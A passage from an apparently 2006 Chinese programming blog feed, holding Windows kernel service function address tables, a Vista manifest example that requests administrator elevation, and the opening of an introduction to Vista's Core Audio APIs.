<br />10A=8062E1E7:ZwUnlockVirtualMemory <br />10B=8057F293:ZwUnmapViewOfSection <br />10C=805B2353:ZwVdmControl <br />10D=80660A30:ZwWaitForDebugEvent <br />10E=8056ECA1:ZwWaitForMultipleObjects <br />10F=8056E265:ZwWaitForSingleObject <br />110=8064F731:ZwWaitHighEventPair <br />111=8064F6C7:ZwWaitLowEventPair <br />112=80583C75:ZwWriteFile <br />113=805ACFA0:ZwWriteFileGather <br />114=80591F1B:ZwWriteRequestData <br />115=80587B3B:ZwWriteVirtualMemory <br />116=804F5102:ZwYieldExecution <br />117=805C7562:ZwCreateKeyedEvent <br />118=8058BECC:ZwOpenKeyedEvent <br />119=806504F9:ZwReleaseKeyedEvent <br />11A=80650764:ZwWaitForKeyedEvent <br /><br /><br /><font color="#0000ff">winnt/sp4内核服务函数列表，数量=F8(此表由创建于CNASM内部系统分析工具3.0) <br /></font><br />000=8058B3BF:ZwAcceptConnectPort <br />001=8058E86B:ZwAccessCheck <br />002=8059DEF3:ZwAccessCheckAndAuditAlarm <br />003=805EB034:ZwAccessCheckByType <br />004=805A11F4:ZwAccessCheckByTypeAndAuditAlarm <br />005=80539214:ZwAccessCheckByTypeResultList <br />006=805EC2FF:ZwAccessCheckByTypeResultListAndAuditAlarm <br />007=805EC33F:ZwAccessCheckByTypeResultListAndAuditAlarmByHandle <br />008=8059581C:ZwAddAtom <br />009=805E8874:ZwAdjustGroupsToken <br />00A=8057860A:ZwAdjustPrivilegesToken <br />00B=805DC7E2:ZwAlertResumeThread <br />00C=805755F7:ZwAlertThread <br />00D=8057C8A6:ZwAllocateLocallyUniqueId <br />00E=80528472:ZwAllocateUserPhysicalPages <br />00F=80588D50:ZwAllocateUuids <br />010=80596BFB:ZwAllocateVirtualMemory <br />011=805D0CEF:ZwAreMappedFilesTheSame <br />012=805DCB95:ZwAssignProcessToJobObject <br />013=804E189A:ZwCallbackReturn <br />014=805B06CB:ZwCancelIoFile <br />015=804F8F66:ZwCancelTimer <br />016=805D69D4:ZwCancelDeviceWakeupRequest <br />017=8057E0CC:ZwClearEvent <br />018=8052C422:ZwClose <br />019=80576F58:ZwCloseObjectAuditAlarm <br />01A=8058B849:ZwCompleteConnectPort <br />01B=8058A9DA:ZwConnectPort <br />01C=80545250:ZwContinue <br />01D=805D4BD5:ZwCreateDirectoryObject <br />01E=8057BC80:ZwCreateEvent <br />01F=805AA7A5:ZwCreateEventPair <br />020=80580C2D:ZwCreateFile <br />021=805A18F5:ZwCreateIoCompletion <br />022=805DC8B8:ZwCreateJobObject <br />023=805883BE:ZwCreateKey <br />024=8056D3DA:ZwCreateMailslotFile <br />025=8057FCA5:ZwCreateMutant <br />026=8057628A:ZwCreateNamedPipeFile <br />027=805CE260:ZwCreatePagingFile <br />028=8058098F:ZwCreatePort <br />029=8058D948:ZwCreateProcess <br />02A=805A9D6F:ZwCreateProfile <br />02B=8058EFF6:ZwCreateSection <br />02C=805770F9:ZwCreateSemaphore <br />02D=8057C6C4:ZwCreateSymbolicLinkObject <br />02E=805769C1:ZwCreateThread <br />02F=805A1C6E:ZwCreateTimer <br />030=805EE543:ZwCreateToken <br />031=805CC375:ZwCreateWaitablePort <br />032=805A0467:ZwDelayExecution <br />033=805A0528:ZwDeleteAtom <br />034=805B0833:ZwDeleteFile <br />035=8059D3C5:ZwDeleteKey <br />036=80571D0C:ZwDeleteObjectAuditAlarm <br />037=80581309:ZwDeleteValueKey <br />038=80588EF6:ZwDeviceIoControlFile <br />039=805A61B4:ZwDisplayString <br />03A=8057FE25:ZwDuplicateObject <br />03B=8057CF2E:ZwDuplicateToken <br />03C=8057736D:ZwEnumerateKey <br />03D=805A0A3C:ZwEnumerateValueKey <br />03E=8057051D:ZwExtendSection <br />03F=805E9361:ZwFilterToken <br />040=805995ED:ZwFindAtom <br />041=8059A31A:ZwFlushBuffersFile <br />042=80576667:ZwFlushInstructionCache <br />043=8058E2C6:ZwFlushKey <br />044=80590F9C:ZwFlushVirtualMemory <br />045=805D19A4:ZwFlushWriteBuffer <br />046=80528A9D:ZwFreeUserPhysicalPages <br />047=80589828:ZwFreeVirtualMemory <br />048=80588B14:ZwFsControlFile <br />049=805A4F1B:ZwGetContextThread <br />04A=805D69EA:ZwGetDevicePowerState <br />04B=8059C159:ZwGetPlugPlayEvent <br />04C=80540086:ZwGetTickCount <br />04D=805290E4:ZwGetWriteWatch <br />04E=805EEFE4:ZwImpersonateAnonymousToken <br />04F=80575FCD:ZwImpersonateClientOfPort <br />050=80532C84:ZwImpersonateThread <br />051=805FE159:ZwInitializeRegistry <br />052=805D67D0:ZwInitiatePowerAction <br />053=805D69DC:ZwIsSystemResumeAutomatic <br />054=805CC598:ZwListenPort <br />055=8060A603:ZwLoadDriver <br />056=805FEDF3:ZwLoadKey <br />057=8053FA4E:ZwLoadKey2 <br />058=8058A339:ZwLockFile <br />059=805D19FB:ZwLockVirtualMemory <br />05A=80594D99:ZwMakeTemporaryObject <br />05B=80527B61:ZwMapUserPhysicalPages <br />05C=80527F74:ZwMapUserPhysicalPagesScatter <br />05D=80588767:ZwMapViewOfSection <br />05E=8057844D:ZwNotifyChangeDirectoryFile <br />05F=805800E4:ZwNotifyChangeKey <br />060=80580112:ZwNotifyChangeMultipleKeys <br />061=80599BCA:ZwOpenDirectoryObject <br />062=8059570A:ZwOpenEvent <br />063=805AA891:ZwOpenEventPair <br />064=805835F9:ZwOpenFile <br />065=805B4F31:ZwOpenIoCompletion <br />066=805DCACD:ZwOpenJobObject <br />067=8058A4F2:ZwOpenKey <br />068=805986D0:ZwOpenMutant <br />069=805879E0:ZwOpenObjectAuditAlarm <br />06A=8057E77A:ZwOpenProcess <br />06B=80595234:ZwOpenProcessToken <br />06C=8058C198:ZwOpenSection <br />06D=8059C50F:ZwOpenSemaphore <br />06E=805A0953:ZwOpenSymbolicLinkObject <br />06F=805967E5:ZwOpenThread <br />070=80580E36:ZwOpenThreadToken <br />071=805AA46B:ZwOpenTimer <br />072=8058FC32:ZwPlugPlayControl <br />073=805A3755:ZwPowerInformation <br />074=80575E38:ZwPrivilegeCheck <br />075=805EBA39:ZwPrivilegedServiceAuditAlarm <br />076=805EB815:ZwPrivilegeObjectAuditAlarm <br />077=8059038B:ZwProtectVirtualMemory <br />078=805A1A4E:ZwPulseEvent <br />079=8058A8CE:ZwQueryInformationAtom <br />07A=80579EE5:ZwQueryAttributesFile <br />07B=8057EB50:ZwQueryDefaultLocale <br />07C=8059E87B:ZwQueryDefaultUILanguage <br />07D=80582459:ZwQueryDirectoryFile <br />07E=805A33FE:ZwQueryDirectoryObject <br />07F=805B5963:ZwQueryEaFile <br />080=8058AF98:ZwQueryEvent <br />081=8059CAB3:ZwQueryFullAttributesFile <br />082=8058E525:ZwQueryInformationFile <br />083=8058DF19:ZwQueryInformationJobObject <br />084=8059E337:ZwQueryIoCompletion <br />085=805CC616:ZwQueryInformationPort <br />086=80594426:ZwQueryInformationProcess <br />087=80589AB9:ZwQueryInformationThread <br />088=805790BD:ZwQueryInformationToken <br />089=8059BCE1:ZwQueryInstallUILanguage <br />08A=805AA33D:ZwQueryIntervalProfile <br />08B=8057923A:ZwQueryKey <br />08C=805FF4A8:ZwQueryMultipleValueKey <br />08D=805AA604:ZwQueryMutant <br />08E=8059AE69:ZwQueryObject <br />08F=805FFB4C:ZwQueryOpenSubKeys <br />090=80599B2D:ZwQueryPerformanceCounter <br />091=805B6865:ZwQueryQuotaInformationFile <br />092=805789AC:ZwQuerySection <br />093=8052C94A:ZwQuerySecurityObject <br />094=805A9009:ZwQuerySemaphore <br />095=8059984F:ZwQuerySymbolicLinkObject <br />096=805A97BE:ZwQuerySystemEnvironmentValue <br />097=8059F933:ZwQuerySystemInformation <br />098=8059B77C:ZwQuerySystemTime <br />099=8059AD4C:ZwQueryTimer <br />09A=8058CF1A:ZwQueryTimerResolution <br />09B=8057A077:ZwQueryValueKey <br />09C=8057C3CD:ZwQueryVirtualMemory <br />09D=8057EC21:ZwQueryVolumeInformationFile <br />09E=805913FF:ZwQueueApcThread <br />09F=80545298:ZwRaiseException <br />0A0=805A8C74:ZwRaiseHardError <br />0A1=8059B7FD:ZwReadFile <br />0A2=805B7508:ZwReadFileScatter <br />0A3=80589014:ZwReadRequestData <br />0A4=8059E05F:ZwReadVirtualMemory <br />0A5=805759A2:ZwRegisterThreadTerminatePort <br />0A6=8059BC18:ZwReleaseMutant <br />0A7=805871EB:ZwReleaseSemaphore <br />0A8=8059219F:ZwRemoveIoCompletion <br />0A9=805FF2D7:ZwReplaceKey <br />0AA=8057E519:ZwReplyPort <br />0AB=80593E83:ZwReplyWaitReceivePort <br />0AC=8051374A:ZwReplyWaitReceivePortEx <br />0AD=805CC819:ZwReplyWaitReplyPort <br />0AE=805D6972:ZwRequestDeviceWakeup <br />0AF=80595A2E:ZwRequestPort <br />0B0=80593AC6:ZwRequestWaitReplyPort <br />0B1=805D677C:ZwRequestWakeupLatency <br />0B2=8056C413:ZwResetEvent <br />0B3=805295CA:ZwResetWriteWatch <br />0B4=805FEA0C:ZwRestoreKey <br />0B5=80594998:ZwResumeThread <br />0B6=80572F99:ZwSaveKey <br />0B7=805FEB70:ZwSaveMergedKeys <br />0B8=80512E23:ZwSecureConnectPort <br />0B9=80580FA6:ZwSetIoCompletion <br />0BA=805714C5:ZwSetContextThread <br />0BB=805A8F0B:ZwSetDefaultHardErrorPort <br />0BC=805A6470:ZwSetDefaultLocale <br />0BD=805A6A3E:ZwSetDefaultUILanguage <br />0BE=805B5ED0:ZwSetEaFile <br />0BF=8058745D:ZwSetEvent <br />0C0=805AAB33:ZwSetHighEventPair <br />0C1=805AAA79:ZwSetHighWaitLowEventPair <br />0C2=805A1308:ZwSetInformationFile <br />0C3=805DD998:ZwSetInformationJobObject <br />0C4=805FEFDD:ZwSetInformationKey <br />0C5=80597435:ZwSetInformationObject <br />0C6=8057BFC8:ZwSetInformationProcess <br />0C7=805A0067:ZwSetInformationThread <br />0C8=805EF572:ZwSetInformationToken <br />0C9=805AA32B:ZwSetIntervalProfile <br />0CA=805710AD:ZwSetLdtEntries <br />0CB=805AAADD:ZwSetLowEventPair <br />0CC=805AAA15:ZwSetLowWaitHighEventPair <br />0CD=805B6DD0:ZwSetQuotaInformationFile <br />0CE=8052C855:ZwSetSecurityObject <br />0CF=805A9A48:ZwSetSystemEnvironmentValue <br />0D0=8056C5C0:ZwSetSystemInformation <br />0D1=80568947:ZwSetSystemPowerState <br />0D2=8056CBE7:ZwSetSystemTime <br />0D3=80592CA2:ZwSetThreadExecutionState <br />0D4=804F90FF:ZwSetTimer <br />0D5=805A1B95:ZwSetTimerResolution <br />0D6=805A93B5:ZwSetUuidSeed <br />0D7=80598D90:ZwSetValueKey <br />0D8=805B6EEC:ZwSetVolumeInformationFile <br />0D9=805A6182:ZwShutdownSystem <br />0DA=8052D2B1:ZwSignalAndWaitForSingleObject <br />0DB=805A9FE0:ZwStartProfile <br />0DC=805AA287:ZwStopProfile <br />0DD=805A522B:ZwSuspendThread <br />0DE=8060A462:ZwSystemDebugControl <br />0DF=805DE766:ZwTerminateJobObject <br />0E0=80582FAC:ZwTerminateProcess <br />0E1=8059DF29:ZwTerminateThread <br />0E2=80595218:ZwTestAlert <br />0E3=8060A7D0:ZwUnloadDriver <br />0E4=805FEE05:ZwUnloadKey <br />0E5=805881B4:ZwUnlockFile <br />0E6=805A0554:ZwUnlockVirtualMemory <br />0E7=8059A027:ZwUnmapViewOfSection <br />0E8=805A3B5D:ZwVdmControl <br />0E9=8052D4A2:ZwWaitForMultipleObjects <br />0EA=8057ADC3:ZwWaitForSingleObject <br />0EB=805AA9B7:ZwWaitHighEventPair <br />0EC=805AA959:ZwWaitLowEventPair <br />0ED=80577920:ZwWriteFile <br />0EE=805B7D76:ZwWriteFileGather <br />0EF=8059848C:ZwWriteRequestData <br />0F0=8058C248:ZwWriteVirtualMemory <br />0F1=805CB56F:ZwCreateChannel <br />0F2=805CB56F:ZwListenChannel <br />0F3=805CB56F:ZwOpenChannel <br />0F4=80512D65:ZwReplyWaitSendChannel <br />0F5=80525DB5:ZwSendWaitReplyChannel <br />0F6=805D69D4:ZwSetContextChannel <br /></p>
<img src ="http://www.cppblog.com/shenhuafeng/aggbug/16326.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/shenhuafeng/" target="_blank">CPP&&设计模式小屋</a> 2006-12-12 16:46 <a href="http://www.cppblog.com/shenhuafeng/archive/2006/12/12/16326.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Vista中应用程序需要Administrator权限，自动提示用户需要管理员权限的方法</title><link>http://www.cppblog.com/shenhuafeng/archive/2006/12/12/16324.html</link><dc:creator>CPP&amp;&amp;设计模式小屋</dc:creator><author>CPP&amp;&amp;设计模式小屋</author><pubDate>Tue, 12 Dec 2006 08:21:00 GMT</pubDate><guid>http://www.cppblog.com/shenhuafeng/archive/2006/12/12/16324.html</guid><wfw:comment>http://www.cppblog.com/shenhuafeng/comments/16324.html</wfw:comment><comments>http://www.cppblog.com/shenhuafeng/archive/2006/12/12/16324.html#Feedback</comments><slash:comments>7</slash:comments><wfw:commentRss>http://www.cppblog.com/shenhuafeng/comments/commentRss/16324.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/shenhuafeng/services/trackbacks/16324.html</trackback:ping><description><![CDATA[
		<span style="FONT-SIZE: 10.5pt; FONT-FAMILY: 宋体; mso-bidi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">
				<h2 style="MARGIN: 13pt 0cm">
						<span lang="EN-US">
								<font face="Arial">本文是Vista相关新技术的第三篇文章。</font>
						</span>
				</h2>
				<h2 style="MARGIN: 13pt 0cm">
						<span lang="EN-US">
								<font face="Arial">转载请注明出处。</font>
						</span>
				</h2>
				<span lang="EN-US">
						<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
								<font size="3">
										<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">将一下的一段文字以UTF-8形式存储成名字YouAppName</span>
								</font>
								<span lang="EN-US">
										<font face="Times New Roman" size="3">.manifest。<br />并修改<br />&lt;?xml version="1.0" encoding="UTF-8" standalone="yes"?&gt;<br />&lt;assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"&gt; <br />  &lt;assemblyIdentity version="<font color="#0000ff">1.0.0.1</font>"<br />     processorArchitecture="X86"<br />     name=”<font color="#0000ff">Your Application Name</font>”<br />     type="win32"/&gt; </font>
								</span>
						</p>
						<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
								<span lang="EN-US">
										<font face="Times New Roman" size="3">  &lt;description&gt; <font color="#0000ff">Your Application Name</font> &lt;/description&gt; <br />  &lt;!-- Identify the application security requirements. --&gt;<br />  &lt;trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"&gt;<br />    &lt;security&gt;<br />      &lt;requestedPrivileges&gt;<br />        &lt;requestedExecutionLevel<br />          level="requireAdministrator"<br />          uiAccess="false"/&gt;<br />        &lt;/requestedPrivileges&gt;<br />       &lt;/security&gt;<br />  &lt;/trustInfo&gt;<br />&lt;/assembly&gt;<br /></font>
								</span>
						</p>
						<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
								<span lang="EN-US">
										<font face="Times New Roman" size="3">
										</font>
								</span>
						</p>
						<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
								<span lang="EN-US">
										<?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" /?>
										<o:p>
												<font face="Times New Roman" size="3"> </font>
										</o:p>
								</span>
						</p>
						<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
								<font size="3">
										<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">对于</span>
										<span lang="EN-US">
												<font face="Times New Roman">VC2005</font>
										</span>
										<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">来说，可以先生成一个文件，将上述信息写入文件并以</span>
										<span lang="EN-US">
												<font face="Times New Roman">UTF-8</font>
										</span>
										<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">形式存储。修改蓝色标注的部分。</span>
								</font>
						</p>
						<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
								<font size="3">
										<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">然后在</span>
										<span lang="EN-US">
												<font face="Times New Roman">Manifest Tools</font>
										</span>
										<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">选项中，</span>
										<span lang="EN-US">
												<font face="Times New Roman">Input and Output</font>
										</span>
										<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">中填入上述文件的地址和文件名。重新编译后，这个信息就会进入可执行文件的资源中。</span>
								</font>
						</p>
				</span>
		</span>
<img src ="http://www.cppblog.com/shenhuafeng/aggbug/16324.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/shenhuafeng/" target="_blank">CPP&&设计模式小屋</a> 2006-12-12 16:21 <a href="http://www.cppblog.com/shenhuafeng/archive/2006/12/12/16324.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Core Aduio API--Vista中音量控制的新特点(原创,转载请注明出处) </title><link>http://www.cppblog.com/shenhuafeng/archive/2006/12/12/16323.html</link><dc:creator>CPP&amp;&amp;设计模式小屋</dc:creator><author>CPP&amp;&amp;设计模式小屋</author><pubDate>Tue, 12 Dec 2006 08:11:00 GMT</pubDate><guid>http://www.cppblog.com/shenhuafeng/archive/2006/12/12/16323.html</guid><wfw:comment>http://www.cppblog.com/shenhuafeng/comments/16323.html</wfw:comment><comments>http://www.cppblog.com/shenhuafeng/archive/2006/12/12/16323.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cppblog.com/shenhuafeng/comments/commentRss/16323.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/shenhuafeng/services/trackbacks/16323.html</trackback:ping><description><![CDATA[
		<h2 style="MARGIN: 13pt 0cm">
				<span lang="EN-US">
						<font face="Arial">本文是Vista相关新技术的第二篇文章。</font>
				</span>
		</h2>
		<h2 style="MARGIN: 13pt 0cm">
				<span lang="EN-US">
						<font face="Arial">转载请注明出处。</font>
				</span>
		</h2>
		<h2 style="MARGIN: 13pt 0cm">
				<span lang="EN-US">
						<font face="Arial">Core Audio APIS</font>
				</span>
				<span style="FONT-FAMILY: 黑体; mso-ascii-font-family: Arial">：</span>
		</h2>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<span lang="EN-US">Vista</span>
				<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">里面，一组新的用户态的音频组件提供给应用程序来改善应用程序操作音频的能力，</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">包括以下的一些方面：</span>
		</p>
		<ul style="MARGIN-TOP: 0cm" type="disc">
				<li class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; mso-list: l2 level1 lfo1; tab-stops: list 36.0pt">
						<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">低延时，几乎无故障的音频流。</span>
				</li>
				<li class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; mso-list: l2 level1 lfo1; tab-stops: list 36.0pt">
						<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">提高可靠性</span>
						<span lang="EN-US">(</span>
						<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">很多音频函数从核心态移到了用户态</span>
						<span lang="EN-US">)</span>
				</li>
				<li class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; mso-list: l2 level1 lfo1; tab-stops: list 36.0pt">
						<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">提高了安全性</span>
						<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">（在安全的，低优先级别的线程处理被保护的音频内容）</span>
				</li>
				<li class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; mso-list: l2 level1 lfo1; tab-stops: list 36.0pt">
						<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">分配了特定的系统级别的规则</span>
						<span lang="EN-US">(console, multimedia, communications)</span>
						<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">给单独的音频设备。</span>
				</li>
				<li class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; mso-list: l2 level1 lfo1; tab-stops: list 36.0pt">
						<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">用户可以直接操作，相应</span>
						<span lang="EN-US">endpoint</span>
						<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">设备的软件抽象</span>
						<span lang="EN-US">(</span>
						<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">如：扩音器，耳麦及麦克风</span>
						<span lang="EN-US">)</span>
						<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">以下的高层</span>
						<span lang="EN-US">API</span>
						<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">是以</span>
						<span lang="EN-US">Core Audio APIs</span>
						<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">来工作的。</span>
				</li>
		</ul>
		<ul style="MARGIN-TOP: 0cm" type="disc">
				<li class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; mso-list: l3 level1 lfo2; tab-stops: list 36.0pt">
						<span lang="EN-US">DirectSound </span>
				</li>
				<li class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; mso-list: l3 level1 lfo2; tab-stops: list 36.0pt">
						<span lang="EN-US">DirectMusic </span>
				</li>
				<li class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; mso-list: l3 level1 lfo2; tab-stops: list 36.0pt">
						<span lang="EN-US">Windows multimedia waveXxx and mixerXxx functions </span>
				</li>
				<li class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; mso-list: l3 level1 lfo2; tab-stops: list 36.0pt">
						<span lang="EN-US">Media Foundation </span>
				</li>
				<li class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; mso-list: l3 level1 lfo2; tab-stops: list 36.0pt">
						<span lang="EN-US">Streaming Audio Renderer (SAR) </span>
				</li>
		</ul>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<span lang="EN-US" style="FONT-SIZE: 9.5pt; COLOR: black; FONT-FAMILY: Verdana">
						<?xml:namespace prefix = v ns = "urn:schemas-microsoft-com:vml" /?>
						<v:shapetype id="_x0000_t75" stroked="f" filled="f" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" o:spt="75" coordsize="21600,21600">
								<v:stroke joinstyle="miter">
								</v:stroke>
								<v:formulas>
										<v:f eqn="if lineDrawn pixelLineWidth 0">
										</v:f>
										<v:f eqn="sum @0 1 0">
										</v:f>
										<v:f eqn="sum 0 0 @1">
										</v:f>
										<v:f eqn="prod @2 1 2">
										</v:f>
										<v:f eqn="prod @3 21600 pixelWidth">
										</v:f>
										<v:f eqn="prod @3 21600 pixelHeight">
										</v:f>
										<v:f eqn="sum @0 0 1">
										</v:f>
										<v:f eqn="prod @6 1 2">
										</v:f>
										<v:f eqn="prod @7 21600 pixelWidth">
										</v:f>
										<v:f eqn="sum @8 21600 0">
										</v:f>
										<v:f eqn="prod @7 21600 pixelHeight">
										</v:f>
										<v:f eqn="sum @10 21600 0">
										</v:f>
								</v:formulas>
								<v:path o:connecttype="rect" gradientshapeok="t" o:extrusionok="f">
								</v:path>
								<?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" /?>
								<o:lock aspectratio="t" v:ext="edit">
								</o:lock>
						</v:shapetype>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<span lang="EN-US">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">绝大多数的音频应用程序与以上的高层次的</span>
				<span lang="EN-US">API</span>
				<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">交互而不是直接操作底层的</span>
				<span lang="EN-US">Core Audio API</span>
				<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">。例如以下一些应用可能用到高等级的</span>
				<span lang="EN-US">API</span>
				<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">：</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 36pt; TEXT-INDENT: -18pt; mso-list: l0 level1 lfo3; tab-stops: list 36.0pt">
				<span lang="EN-US" style="FONT-SIZE: 10pt; FONT-FAMILY: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol; mso-bidi-font-size: 12.0pt">
						<span style="mso-list: Ignore">
								<font size="3">
										<img height="11" alt="*" src="/shenhuafeng/admin/PicExportError" width="11" />
								</font>
								<span style="FONT: 7pt 'Times New Roman'">       </span>
						</span>
				</span>
				<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">媒体播放器</span>
				<span lang="EN-US">
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 36pt; TEXT-INDENT: -18pt; mso-list: l0 level1 lfo3; tab-stops: list 36.0pt">
				<span lang="EN-US" style="FONT-SIZE: 10pt; FONT-FAMILY: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol; mso-bidi-font-size: 12.0pt">
						<span style="mso-list: Ignore">
								<font size="3">
										<img height="11" alt="*" src="/shenhuafeng/admin/PicExportError" width="11" />
								</font>
								<span style="FONT: 7pt 'Times New Roman'">       </span>
						</span>
				</span>
				<span lang="EN-US">DVD</span>
				<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">播放器</span>
				<span lang="EN-US">
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 36pt; TEXT-INDENT: -18pt; mso-list: l0 level1 lfo3; tab-stops: list 36.0pt">
				<span lang="EN-US" style="FONT-SIZE: 10pt; FONT-FAMILY: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol; mso-bidi-font-size: 12.0pt">
						<span style="mso-list: Ignore">
								<font size="3">
										<img height="11" alt="*" src="/shenhuafeng/admin/PicExportError" width="11" />
								</font>
								<span style="FONT: 7pt 'Times New Roman'">       </span>
						</span>
				</span>
				<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">游戏</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 36pt; TEXT-INDENT: -18pt; mso-list: l0 level1 lfo3; tab-stops: list 36.0pt">
				<span lang="EN-US" style="FONT-SIZE: 10pt; FONT-FAMILY: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol; mso-bidi-font-size: 12.0pt">
						<span style="mso-list: Ignore">
								<font size="3">
										<img height="11" alt="*" src="/shenhuafeng/admin/PicExportError" width="11" />
								</font>
								<span style="FONT: 7pt 'Times New Roman'">       </span>
						</span>
				</span>
				<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">商用软件</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">通常这些应用用到</span>
				<span lang="EN-US">DirectSound</span>
				<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">和媒体的底层函数。</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">通常的应用不需要直接用到</span>
				<span lang="EN-US">Core Audio API</span>
